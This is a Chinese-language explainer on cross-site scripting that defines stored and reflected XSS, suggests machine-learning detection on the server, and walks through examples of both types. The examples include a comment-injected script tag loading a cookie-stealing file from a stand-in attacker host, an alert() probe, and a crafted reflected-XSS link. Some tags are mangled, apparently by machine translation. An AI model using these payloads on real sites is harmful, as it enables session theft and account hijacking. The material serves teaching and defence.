当一个目标站点被用户去访问时间,在渲染Html页面的过程中,出现了一些没有预期到的脚本指令,然后就会执行这些脚本指令,产生XSS的攻击。
涉及三者:用户 攻击者 服务器
攻击者通过各种各样的办法实现,当用户在访问一个页面的时候,插入一些自己的脚本,让用户在访问这个页面的时候就会执行那个被注入的脚本,攻击者通过注入的脚本执行,从而获取用户的一些私密信息,并且发送到自己的网站上,这就是跨站脚本攻击。
而在一个不足够完美的web服务器上,漏洞是不可避免的,黑客就是在不断去寻找这些漏洞,然后注入一些脚本病毒。那么通过机器学习的方法在web服务器端进行脚本病毒的检测,就是很好的应用。(这里可以使用SVM Bayes等方法)
跨站脚本攻击可以从这个图上看出:
跨站脚本攻击:
跨站脚本 (XSS) 是一种常见的攻击媒介,可将恶意代码注入易受攻击的 Web 应用程序。XSS 与其他 Web 攻击媒介(例如SQL 注入)的不同之处 在于它不直接针对应用程序本身。相反,Web 应用程序的用户处于危险之中。
成功的跨站点脚本攻击会对在线企业的声誉及其与客户的关系造成毁灭性的后果。
根据攻击的严重程度,用户帐户可能会被盗用,特洛伊木马程序被激活,页面内容被修改,误导用户自愿交出他们的私人数据。最后,会话 cookie 可能会被泄露,使犯罪者能够冒充有效用户并滥用他们的私人帐户。
跨站点脚本攻击可以分为两种类型:存储的和反射的。
存储型 XSS,也称为持久型 XSS,是两者中破坏性更大的一种。当恶意脚本直接注入易受攻击的 Web 应用程序时,就会发生这种情况。
反射型 XSS涉及将恶意脚本从 Web 应用程序反射到用户的浏览器上。该脚本嵌入到一个链接中,并且只有在单击该链接后才会激活。
举个例子:
Store XSS
在浏览电子商务网站时,犯罪者发现了一个漏洞,该漏洞允许将 HTML 标签嵌入网站的评论部分。嵌入的标签成为页面的永久特征,导致浏览器在每次打开页面时用其余的源代码解析它们。
攻击者添加了以下评论: 物美价廉!在此处阅读我的评论
<script src="http://hackersite.com/authstealer.js"> </script>。
从这时起,每次访问该页面时,评论中的 HTML 标记都会激活一个 JavaScript 文件,该文件托管在另一个站点上,并具有窃取访问者会话 cookie 的能力。
使用会话 cookie,攻击者可以破坏访问者的帐户,使他能够轻松访问他的个人信息和信用卡数据。与此同时,访问者甚至可能从未向下滚动到评论部分,并不知道攻击发生了。
与反射式攻击(点击链接后激活脚本)不同,存储式攻击只需要受害者访问受感染的网页。这增加了攻击的范围,危及所有访客,无论他们的警惕程度如何。
从犯罪者的角度来看,持续性 XSS 攻击相对更难执行,因为很难定位被贩运的网站和具有启用永久脚本嵌入的漏洞的网站。
Reflected XSS
该脚本通过一个链接激活,该链接将请求发送到存在漏洞的网站,该漏洞允许执行恶意脚本。该漏洞通常是由于传入请求未经过充分清理而导致的,这允许操纵 Web 应用程序的功能和激活恶意脚本。
为了分发恶意链接,犯罪者通常会将其嵌入电子邮件或第三方网站(例如,在评论部分或社交媒体中)。该链接嵌入在锚文本中,激发用户点击它,从而向被利用的网站发起 XSS 请求,将攻击反馈给用户。
在访问需要用户登录其帐户的论坛站点时,犯罪者执行此搜索查询
<script type='text/javascript'>alert('xss');</script>
导致以下情况发生:
-
查询产生一个警告框,上面写着: “XSS”。 -
页面显示: “<script type='text/javascript'>alert('XSS');</script > not found。”
-
该页面的 URL 为 http://ecommerce.com?q=<script type="text/javascript">alert('XSS'); </脚本>。
这告诉肇事者该网站易受攻击。接下来,他创建了自己的 URL,内容为
http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js”
并将其作为链接嵌入到看似无害的电子邮件,他发送给一组论坛用户。
虽然发送地址和主题行可能对某些人来说是可疑的,但这并不意味着它不会被点击。
事实上,即使每 1,000 名电子邮件收件人中只有一人点击该链接,仍然有数十名受感染的论坛用户。他们将被带到论坛的网站,在那里恶意脚本将被反射回他们的浏览器,使犯罪者能够窃取他们的会话 cookie 并劫持他们的论坛帐户。
|